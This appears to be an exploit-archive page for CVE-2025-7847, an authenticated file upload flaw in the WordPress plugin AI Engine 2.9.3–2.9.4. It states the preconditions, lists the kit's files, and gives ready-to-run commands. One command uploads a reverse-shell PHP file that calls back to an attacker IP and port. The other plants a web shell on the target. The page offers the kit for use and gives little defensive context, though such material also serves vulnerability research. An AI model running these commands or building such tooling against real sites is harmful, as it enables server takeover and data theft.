CVE-2025-7847 PoC — AI Engine 2.9.3 - 2.9.4 - Authenticated (Subscriber+) Arbitrary File Upload

Source

Associated Vulnerability

Description

Wordpress Plugin AI Engine 2.9.3 - 2.9.4  Proof Of Concept

Readme

# CVE-2025-7847 Wordpress Plugin Authenticated Subscriber Arbitrary File Upload POC
Wordpress Plugin AI Engine 2.9.3 - 2.9.4  Proof Of Concept

Please note that this vulnerability can only be exploited if the “Public API” option is enabled, which is disabled by default, and no Bearer Token is configured, nor is custom authentication added and used to protect the API. 

# Automate Version
```
python3 exploit-auto.py --url "http://target.com" --username "Admin" --password "L87*********C4u" --file reverse.php --attacker-ip 127.0.0.1 --attacker-port 4444
```
# Web Shell Upload Only
```
python3 exploit.py \                                                                                                                          
  --url "http://target.com/" \
  --username "Admin" \
  --password "L87*********C4u" \
  --file shell.php
```

File Snapshot

 [4.0K]  /data/pocs/9ae39d8a8d3fdeafbdb2b0252378296fcc1aea49
├── [4.9K]  exploit-auto.py
├── [1.9K]  exploit-manual.py
├── [4.0K]  exploit.py
├── [ 34K]  LICENSE
├── [ 846]  README.md
├── [  73]  reverse.php
└── [  31]  shell.php

0 directories, 7 files

Remarks